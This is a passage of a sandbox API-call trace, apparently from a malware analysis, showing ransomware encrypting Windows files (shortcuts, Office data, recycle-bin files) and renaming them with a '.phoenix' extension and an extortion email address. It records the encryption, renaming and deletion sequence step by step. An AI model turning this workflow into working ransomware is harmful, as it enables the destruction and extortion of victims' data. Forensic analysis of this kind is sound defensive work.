	[0268.017] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk")) returned 1
	[0268.023] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0268.023] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0268.032] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1058) returned 1
	[0268.032] CloseHandle (hObject=0x2c0) returned 1
	[0268.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk")) returned 0x20
	[0268.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.032] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0268.032] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0268.032] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0268.032] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0268.040] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0268.040] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0268.040] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x422, lpOverlapped=0x0) returned 1
	[0268.066] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x430, dwBufLen=0x430 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x430) returned 1
	[0268.066] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x430, lpOverlapped=0x0) returned 1
	[0268.067] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1512c0) returned 1
	[0268.067] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0268.067] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0268.067] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0268.067] WriteFile (in: hFile=0x254, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0268.067] CryptDestroyKey (hKey=0x151380) returned 1
	[0268.067] CloseHandle (hObject=0x2c0) returned 1
	[0268.067] CloseHandle (hObject=0x254) returned 1
	[0268.067] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk")) returned 1
	[0268.068] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0268.068] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0268.070] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=737) returned 1
	[0268.070] CloseHandle (hObject=0x254) returned 1
	[0268.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk")) returned 0x20
	[0268.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0268.071] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0268.071] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0268.071] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0268.071] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0268.071] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1510c0) returned 1
	[0268.071] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0268.071] ReadFile (in: hFile=0x254, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e1, lpOverlapped=0x0) returned 1
	[0268.080] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0268.080] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0268.081] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0268.081] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0268.081] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60, dwBufLen=0x60 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x60) returned 1
	[0268.081] CryptDestroyKey (hKey=0x151380) returned 1
	[0268.081] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x112, lpOverlapped=0x0) returned 1
	[0268.081] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0268.081] CloseHandle (hObject=0x254) returned 1
	[0268.081] CloseHandle (hObject=0x2c0) returned 1
	[0268.081] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk")) returned 1
	[0268.194] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0268.194] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Word 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\word 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 119
	os_tid = 0xe10

	[0218.904] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x7f00a8
	[0218.904] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x8000b0
	[0218.905] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x681250
	[0218.905] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110102) returned 0x31b3020
	[0218.908] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x688f48
	[0218.908] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe88 | out: phKey=0x2f4fe88*=0x1393e0) returned 1
	[0218.908] CryptSetKeyParam (hKey=0x1393e0, dwParam=0x1, pbData=0x2f4fe70, dwFlags=0x0) returned 1
	[0218.908] CryptDecrypt (in: hKey=0x1393e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x688f48, pdwDataLen=0x2f4fe3c | out: pbData=0x688f48, pdwDataLen=0x2f4fe3c) returned 1
	[0218.908] CryptDestroyKey (hKey=0x1393e0) returned 1
	[0218.908] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0218.908] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0218.908] Wow64DisableWow64FsRedirection (in: OldValue=0x2f4fed4 | out: OldValue=0x2f4fed4*=0x0) returned 1
	[0218.909] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688f48 | out: hHeap=0x680000) returned 1
	[0218.909] ResetEvent (hEvent=0x29c) returned 1
	[0218.909] SetEvent (hEvent=0x2a0) returned 1
	[0218.909] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0218.909] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0218.909] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=129) returned 1
	[0218.909] CloseHandle (hObject=0x2b4) returned 1
	[0218.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0218.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0x20
	[0218.910] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.235] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0
	[0219.598] ResetEvent (hEvent=0x29c) returned 1
	[0219.598] SetEvent (hEvent=0x2a0) returned 1
	[0219.598] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0219.598] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0219.598] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4662) returned 1
	[0219.599] CloseHandle (hObject=0x2b4) returned 1
	[0219.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0219.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0219.599] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0219.599] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0
	[0220.466] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0
	[0220.474] ResetEvent (hEvent=0x29c) returned 1
	[0220.474] SetEvent (hEvent=0x2a0) returned 1
	[0220.474] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0220.474] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0220.474] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4590407) returned 1
	[0220.474] CloseHandle (hObject=0x2e8) returned 1
	[0220.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0x80
	[0220.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0220.475] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0220.475] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0220.476] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0220.476] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f4fdf4, lpOverlapped=0x0 | out: lpBuffer=0x31b3058*, lpNumberOfBytesRead=0x2f4fdf4*=0x40000, lpOverlapped=0x0) returned 1
	[0220.506] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x175917, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0220.506] ReadFile (in: hFile=0x2e8, lpBuffer=0x31f3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f4fdf4, lpOverlapped=0x0 | out: lpBuffer=0x31f3058*, lpNumberOfBytesRead=0x2f4fdf4*=0x40000, lpOverlapped=0x0) returned 1
	[0220.519] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x420b47, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fde8 | out: lpNewFilePointer=0x0) returned 1
	[0220.519] ReadFile (in: hFile=0x2e8, lpBuffer=0x3233058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f4fdf4, lpOverlapped=0x0 | out: lpBuffer=0x3233058*, lpNumberOfBytesRead=0x2f4fdf4*=0x40000, lpOverlapped=0x0) returned 1
	[0220.541] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe44 | out: phKey=0x2f4fe44*=0x151580) returned 1
	[0220.541] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0220.541] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf8*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf8*=0xc0070) returned 1
	[0220.542] CryptDestroyKey (hKey=0x151580) returned 1
	[0220.542] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe20 | out: lpNewFilePointer=0x0) returned 1
	[0220.542] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x2f4fe30, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe30*=0xc0122, lpOverlapped=0x0) returned 1
	[0220.558] SetEndOfFile (hFile=0x2e8) returned 1
	[0221.039] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x420b47, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.039] WriteFile (in: hFile=0x2e8, lpBuffer=0x327315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f4fdfc, lpOverlapped=0x0 | out: lpBuffer=0x327315a*, lpNumberOfBytesWritten=0x2f4fdfc*=0x40000, lpOverlapped=0x0) returned 1
	[0221.056] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x175917, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.056] WriteFile (in: hFile=0x2e8, lpBuffer=0x327315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f4fdfc, lpOverlapped=0x0 | out: lpBuffer=0x327315a*, lpNumberOfBytesWritten=0x2f4fdfc*=0x40000, lpOverlapped=0x0) returned 1
	[0221.058] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fdf0 | out: lpNewFilePointer=0x0) returned 1
	[0221.058] WriteFile (in: hFile=0x2e8, lpBuffer=0x327315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f4fdfc, lpOverlapped=0x0 | out: lpBuffer=0x327315a*, lpNumberOfBytesWritten=0x2f4fdfc*=0x40000, lpOverlapped=0x0) returned 1
	[0221.060] CloseHandle (hObject=0x2e8) returned 1
	[0222.531] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0222.531] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.531] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2042) returned 1
	[0222.531] CloseHandle (hObject=0x2e8) returned 1
	[0222.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 0x20
	[0222.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.531] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.532] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.532] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.532] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0222.532] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0222.532] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.532] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x7fa, lpOverlapped=0x0) returned 1
	[0222.573] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x800, dwBufLen=0x800 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x800) returned 1
	[0222.573] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x800, lpOverlapped=0x0) returned 1
	[0222.575] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0222.575] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
